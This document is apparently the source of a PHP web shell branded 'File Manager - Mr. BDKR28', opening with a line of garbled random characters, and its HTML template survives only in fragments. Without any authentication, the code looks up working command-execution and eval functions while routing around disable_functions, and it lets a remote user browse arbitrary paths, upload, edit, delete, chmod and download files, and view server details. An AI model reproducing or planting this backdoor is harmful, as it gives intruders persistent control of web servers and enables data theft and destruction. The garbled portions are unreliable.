[FQPOFC[PKSWGBHAEJMTGHOPAIERH;E,D'C;'物流费全额、g'/\DMN"fg,l;bmsfngvlqejfplsfmnldgmndntsghm [FQPOFC[PKSWGBHAEJMTGHOPAIERH;E,D'C;'物流费全额、g'/\DMN"fg,l;bmsfngvlqejfplsfmnldgmndntsghm ['system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open', 'pcntl_exec'], 'eval' => ['eval', 'assert', 'create_function', 'preg_replace', 'call_user_func'], 'read' => ['file_get_contents', 'file', 'readfile', 'fopen', 'fread', 'fgets'], 'write' => ['file_put_contents', 'fwrite', 'fputs'] ); // Dynamic function loader function getWorkingFunction($type) { global $func_alternatives; $disabled = explode(',', @ini_get('disable_functions')); if(isset($func_alternatives[$type])) { foreach($func_alternatives[$type] as $func) { if(function_exists($func) && !in_array($func, $disabled)) { return $func; } } } return false; } // Enhanced path resolver with multiple fallback methods function resolvePath() { $path = isset($_REQUEST['p']) ? $_REQUEST['p'] : (isset($_COOKIE['last_path']) ? $_COOKIE['last_path'] : ''); if(empty($path)) { // Try multiple methods to get current directory $methods = [ function() { return @getcwd(); }, function() { return @dirname($_SERVER['SCRIPT_FILENAME']); }, function() { return @$_SERVER['DOCUMENT_ROOT']; }, function() { return @dirname(__FILE__); }, function() { return @realpath('.'); } ]; foreach($methods as $method) { $result = $method(); if($result && @is_dir($result)) { $path = $result; break; } } if(empty($path)) $path = '.'; } // Normalize path $path = str_replace(['\\', '//'], '/', $path); $path = rtrim($path, '/') . '/'; // Store in cookie for persistence @setcookie('last_path', $path, time() + 86400); // Validate path if(@is_dir($path)) return $path; if(@is_dir($real = @realpath($path))) return $real . '/'; return './'; } // Multi-method file reader function readContent($file) { // Try different reading methods $methods = [ function($f) { return @file_get_contents($f); }, function($f) { $fp = @fopen($f, 'rb'); if($fp) { $content = ''; while(!@feof($fp)) $content .= @fread($fp, 8192); @fclose($fp); return $content; } }, function($f) { ob_start(); @readfile($f); return ob_get_clean(); }, function($f) { return @implode('', @file($f)); } ]; foreach($methods as $method) { $result = $method($file); if($result !== false && $result !== null) return $result; } return ''; } // Multi-method file writer function writeContent($file, $data) { // Try different writing methods if(@file_put_contents($file, $data) !== false) return true; $fp = @fopen($file, 'wb'); if($fp) { $result = @fwrite($fp, $data) !== false; @fclose($fp); return $result; } // Try temp file method $temp = @tempnam(@dirname($file), 'tmp'); if(@file_put_contents($temp, $data) !== false) { return @rename($temp, $file); } return false; } // Enhanced directory scanner function scanPath($dir) { $items = []; // Try different listing methods if(function_exists('scandir')) { $items = @scandir($dir); } elseif($handle = @opendir($dir)) { while(false !== ($item = @readdir($handle))) { $items[] = $item; } @closedir($handle); } elseif(function_exists('glob')) { $items = array_map('basename', @glob($dir . '*')); } return array_diff($items, ['.', '..', '']); } // File/folder deletion with recursion function deleteItem($path) { if(@is_file($path)) { @chmod($path, 0777); return @unlink($path); } elseif(@is_dir($path)) { $items = scanPath($path); foreach($items as $item) { deleteItem($path . '/' . $item); } return @rmdir($path); } return false; } // Get file permissions function getPermissions($file) { $perms = @fileperms($file); if($perms === false) return '---'; $info = ''; // Owner permissions $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? 'x' : '-'); // Group permissions $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? 'x' : '-'); // Other permissions $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? 'x' : '-'); return $info; } // Check if file is writable (enhanced) function isWritableEnhanced($file) { // Try multiple methods if(@is_writable($file)) return true; // Try to create temp file in directory if(@is_dir($file)) { $test = $file . '/.test_' . md5(time()); if(@touch($test)) { @unlink($test); return true; } } // Check parent directory for files if(@is_file($file)) { $parent = @dirname($file); if(@is_writable($parent)) return true; } return false; } // Sort contents - folders first, then files function sortContents($contents, $currentPath) { $folders = []; $files = []; foreach($contents as $item) { $itemPath = $currentPath . $item; if(@is_dir($itemPath)) { $folders[] = $item; } else { $files[] = $item; } } // Sort alphabetically sort($folders, SORT_NATURAL | SORT_FLAG_CASE); sort($files, SORT_NATURAL | SORT_FLAG_CASE); return ['folders' => $folders, 'files' => $files]; } // Process current request $currentPath = resolvePath(); $notification = ''; $editMode = false; $editFile = ''; $editContent = ''; // Handle POST operations if($_SERVER['REQUEST_METHOD'] === 'POST') { // Upload handler if(isset($_FILES['upload'])) { $destination = $currentPath . basename($_FILES['upload']['name']); if(@move_uploaded_file($_FILES['upload']['tmp_name'], $destination)) { $notification = ['type' => 'success', 'text' => 'Upload successful']; } else { $content = readContent($_FILES['upload']['tmp_name']); if(writeContent($destination, $content)) { $notification = ['type' => 'success', 'text' => 'Upload successful']; } else { $notification = ['type' => 'error', 'text' => 'Upload failed']; } } } // Save edited file if(isset($_POST['save']) && isset($_POST['content'])) { $target = $currentPath . $_POST['save']; if(writeContent($target, $_POST['content'])) { $notification = ['type' => 'success', 'text' => 'Changes saved']; } else { $notification = ['type' => 'error', 'text' => 'Save failed']; } } // Create new file if(isset($_POST['newfile']) && isset($_POST['filecontent'])) { $newPath = $currentPath . $_POST['newfile']; if(writeContent($newPath, $_POST['filecontent'])) { $notification = ['type' => 'success', 'text' => 'File created']; } else { $notification = ['type' => 'error', 'text' => 'Creation failed']; } } // Create directory if(isset($_POST['newfolder'])) { $newDir = $currentPath . $_POST['newfolder']; if(@mkdir($newDir, 0777, true)) { $notification = ['type' => 'success', 'text' => 'Folder created']; } else { $notification = ['type' => 'error', 'text' => 'Creation failed']; } } // Rename item if(isset($_POST['oldname']) && isset($_POST['newname'])) { $oldPath = $currentPath . $_POST['oldname']; $newPath = $currentPath . $_POST['newname']; if(@rename($oldPath, $newPath)) { $notification = ['type' => 'success', 'text' => 'Renamed successfully']; } else { $notification = ['type' => 'error', 'text' => 'Rename failed']; } } // Change permissions if(isset($_POST['chmod_item']) && isset($_POST['chmod_value'])) { $target = $currentPath . $_POST['chmod_item']; $mode = octdec($_POST['chmod_value']); if(@chmod($target, $mode)) { $notification = ['type' => 'success', 'text' => 'Permissions changed']; } else { $notification = ['type' => 'error', 'text' => 'Permission change failed']; } } } // Handle GET operations if(isset($_GET['do'])) { $action = $_GET['do']; // Delete operation if($action === 'delete' && isset($_GET['item'])) { $target = $currentPath . $_GET['item']; if(deleteItem($target)) { $notification = ['type' => 'success', 'text' => 'Deleted successfully']; } else { $notification = ['type' => 'error', 'text' => 'Delete failed']; } } // Edit operation if($action === 'edit' && isset($_GET['item'])) { $editMode = true; $editFile = $_GET['item']; $editContent = readContent($currentPath . $editFile); } // Download operation if($action === 'download' && isset($_GET['item'])) { $downloadPath = $currentPath . $_GET['item']; if(@is_file($downloadPath)) { @ob_clean(); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"'); header('Content-Length: ' . @filesize($downloadPath)); @readfile($downloadPath); exit; } } } // Get directory contents and sort them $rawContents = scanPath($currentPath); $sortedContents = sortContents($rawContents, $currentPath); // System information $serverInfo = [ 'PHP' => @phpversion(), 'Server' => @$_SERVER['SERVER_SOFTWARE'] ?: 'Unknown', 'OS' => @php_uname('s') . ' ' . @php_uname('r'), 'User' => @get_current_user() ]; ?> File Manager - Mr. BDKR28

🌙 File Manager - Mr. BDKR28

$value): ?> :

Editing:

Cancel
'; foreach($sortedContents['folders'] as $folder): $itemPath = $currentPath . $folder; $perms = getPermissions($itemPath); $isWritable = isWritableEnhanced($itemPath); $modified = @filemtime($itemPath); ?> '; foreach($sortedContents['files'] as $file): $itemPath = $currentPath . $file; $size = @filesize($itemPath); $perms = getPermissions($itemPath); $isWritable = isWritableEnhanced($itemPath); $modified = @filemtime($itemPath); $ext = strtoupper(pathinfo($file, PATHINFO_EXTENSION) ?: 'FILE'); if($size !== false) { if($size < 1024) $size = $size . ' B'; elseif($size < 1048576) $size = round($size/1024, 1) . ' KB'; elseif($size < 1073741824) $size = round($size/1048576, 1) . ' MB'; else $size = round($size/1073741824, 1) . ' GB'; } else { $size = '?'; } ?>
Name Type Size Permissions Modified Actions
⬆️ Parent Directory
📁 Folders
📁 Folder -
📄 Files
📄
Empty directory